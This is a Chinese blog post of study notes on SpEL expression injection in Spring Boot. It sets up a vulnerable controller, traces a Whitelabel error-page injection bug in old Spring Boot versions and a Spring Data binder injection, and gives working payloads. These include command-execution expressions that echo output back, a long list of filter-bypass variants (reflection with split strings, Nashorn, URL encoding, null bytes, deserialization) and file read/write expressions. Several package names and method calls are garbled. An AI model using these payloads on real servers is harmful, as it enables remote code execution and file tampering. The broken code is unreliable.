SpEL表达式注⼊漏洞学习和回显poc研究
⽬录
主要记载⼀下SpEL表达式的学习和研究笔记,主要是发现了⼀个不受限制的回显表达式,完善了⼀下基于nio做⽂件读写的表达式,直接看poc可以跳转到⽂章最后。
springboot 2.5.3
springboot 1.2.0.RELEASE
jdk 1.8u40
这⼀章节主要介绍和记录⼀下SpEL的基础语法,然后探索⼀下SpEL注⼊实现命令执⾏后的回显。
由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使⽤POST⽅法传递参数,controller代码如下
@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) Value();
out = at(" get");
return out;
}
}
由于getValue中没有传⼊参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常⽤的SpEL语法
'aaa',表⽰字符串aaa
T(类名),可以指定使⽤⼀个类的类⽅法
T(java.lang.Runtime).getRuntime().exec("calc")
这⾥后端会执⾏语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空⽩页和500,但是计算器依然弹出。
new 类名,可以直接new⼀个对象,再执⾏其中的⽅法
可见直接new⼀个对象执⾏其中的⽅法,杀伤⼒极⼤!需要注意的是,类名最好⽤全限类名,也就是具
体到某个包,不然会因为不到具体类⽽报错。
#{…} ⽤于执⾏SpEl表达式,并将内容赋值给属性
${…} 主要⽤于加载外部属性⽂件中的值
两者还可以混合使⽤,但需要注意的是{}中的内容必须符合SpEL表达式。这⾥需要换⼀下SpEL的写法,否则会因为没有使⽤模板解析表达式,在传⼊#{后出现报错。
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) Value();
String(out);
}
现在可以使⽤#{}和${}了
然后就是SpEL表达式通过xml配置和注解的使⽤,这⾥就不详细记录了,⽂档很多,我们常⽤的攻击⽅法也不会涉及到这⼀步。
使⽤commons-io这个组件实现回显,这种⽅式会受限于⽬标服务器是否存在这个组件,springboot默认环境下都没有⽤到这个组件。。
T(org.apachemons.io.IOUtils).toString(payload).getInputStream())
使⽤jdk>=9中的JShell,这种⽅式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
难道jdk原⽣的类没有办法实现回显的输出吗?我了,还真有
直接给payload
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
原理很简单,就不多介绍了,这种⽅式缺点也很明显,只能读取⼀⾏,如果执⾏dir ./命令就凉了,但单⾏输出还是可以⽤的
payload如下
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
原理在于Scanner#useDelimiter⽅法使⽤指定的字符串分割输出,所以这⾥给⼀个乱七⼋糟的字符串即可,就会让所有的字符都在第⼀⾏,然后执⾏next⽅法即可获得所有输
出。就是稍微难看了点:)
SpEL
⾸先时低版本下springboot中的错误处理导致的SpEL漏洞
低版本SpringBoot中
影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
修改l中的配置
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
再改⼀下controller
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
post传⼊SpEL表达式:
可见直接解析了数据,再来试试其它payload呢
很奇怪,表达式没什么问题,居然报错了,⽽且还不是springboot的报错页⾯。显然需要跟进springboot中的源代码,看看发⽣了什么。刚刚的输⼊产⽣的报错调⽤栈如下:
pression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at pression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at pression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at pression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at pression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at pression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at pressionmon.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at pressionmon.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.solvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.placePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.der(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.der(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下⽅tomcat调⽤栈
可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch⽅法调
⽤到其reder⽅法,那我们在render⽅法中打个断点往下调试⼀下,看看发
⽣了什么
render⽅法中,会先获取View对象,实际获取到的是spring中⾃动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其⼤概意思了,也就是返回报错
情况下的试图。跟进⼀下der⽅法
这⾥的逻辑也⽐较简单,继续跟进replacePlaceholders⽅法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
代码⽐较简单就不截图了,可见⼜调⽤了paseStringValue⽅法,继续跟进paseStringValue⽅法,就会看到重点逻辑了
再看看strVal
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${sta
这⾥需要注意末尾有个message,它就是前⾯的报错内容。这⾥的逻辑是在返回的页⾯内容到${,这⼀步其实就是为了到需要替换的位置,为替换成后⾯的参数做准备,然
后进⼊while循环,这⾥意思也很明显,到了需要替换的位置,然后把具体的值替换到result中。⽽result是StringBuilder类,所以替换其中的字符串⾃然要⽤replace⽅法,那
我们从replace倒推⼀下就好了。很⽅便就可以到具体的值propVal是从solvePlaceholder中获取的,先跟进⼀下resolvePlaceholder⽅法
直接可以看到我们熟悉的SpEL表达式,⽽从context中获取message,也就是我们的输⼊,然后使⽤HtmlUtils.htmlEscape这个静态⽅法进⾏过滤,跟进⼀下这个⽅法
可以看到这个⽅法的逻辑是遍历每个字符,然后根据convertToReference⽅法进⾏替换,讲替换后的字符添加到最后的输出中。继续跟进⼀下convertToReference⽅法
该⽅法对普通的单双引号、尖括号和&进⾏了替换,然后对特殊的char也进⾏了⼀定的替换,这类就不具体看了。回到我们前⾯的message获取
这⾥可以看到replace前,再执⾏了⼀次parseStringValue⽅法,⽽我们传⼊的参数变成了${new java.lang.ProcessBuilder("calc").start()}很明显双引号被编码了,由于
parseStringValue是根据${来SpEL表达式的,所以传⼊#{会⽆效。进⼊resolvePlaceholder⽅法时,参数就变成了new java.lang.ProcessBuilder("calc").start()
由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式⽆法被执⾏。到这⾥就解开了前⾯那个payload⽆效的原因。
到这⾥不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注⼊攻击的原理,也到了payload被过滤的具体⽅式。下⾯来绕过⼀下就好了
因为不能出现单双引号,所以借助⼀些String类的特性,可以传⼊byte数组,payload如下:
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
如果直接传⼊#{xx},或者new xxx并不会执⾏SpEL,原理前⾯也从源代码中看到了。
防御或修复⽅案
升级springboot版本即可,在⾼版本中,处理传⼊的参数时,不会循环根据${}去值,也就避免了利⽤message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给
SpEL执⾏,从⽽消除了这种威胁。
⽤hackbar打⼀下这个poc
弹出计算器,从IDEA⾥⾯看调⽤栈如下
onvert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at onvert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at onvert.vert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]spring framework rce漏洞复现
at pression.spel.vertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at pression.vertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at pression.spel.ValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at pression.spel.ValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at pression.spel.ast.CompoundExpression.setValue(CompoundExpression.jav
a:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at pression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下⾯太长省略了
可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue开始的,那我们到这⾥的源代码,看看具体咋回事
可以看到具体操作是使⽤PARSER.parseExpression(propertyName),然后使⽤expression.setValue(context, value)触发SpEL注⼊,也就是说这⾥先对参数中给的key->value对
中的key进⾏SpEL解析,最终造成SpEL注⼊。那么这种参数设置或绑定是如何触发的呢?
回溯调⽤栈可以看到这⾥是data-commons这个包设定的⾃动化参数绑定,将参数的key->value传了进去,然后到达前⾯的SpEL注⼊攻击触发点。
SpEL变形和bypass的
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
反射调⽤
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下⽂环境
#Class().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调⽤+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"
// 同上,需要有上下⽂环境
#Class().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"
绕过getClass(过滤
''.getClass 替换为 ''.Superclass().class
''.Superclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.g
etSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
需要注意,这⾥的14可能需要替换为15,不同jdk版本的序号不同
url编码绕过
// 当执⾏的系统命令被过滤或者被URL编码掉时,可以通过String类动态⽣成字符
// byte数组内容的⽣成后⾯有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"Ru"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T( JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65 Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
使⽤Spring⼯具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(l.internal.security.utils.Base64).decode(''))
/
/ 可以结合CC链⾷⽤
使⽤Spring⼯具类执⾏⾃定义类的静态代码块
T(ReflectUtils).defineClass('Singleton',T(l.internal.security.utils.Base64).decode(''),T(org.springframework.util.ClassUtils).getDefaultClassLoader())需要在⾃定义类写静态代码块static{}
⽆版本限制回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
在这个思路上,可以对new、ProcessBuilder等关键字使⽤反射绕过
nio 读⽂件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.URI).create("file:/C:/Users/"))))
nio 写⽂件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.URI).create("file:/C:/Users/")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论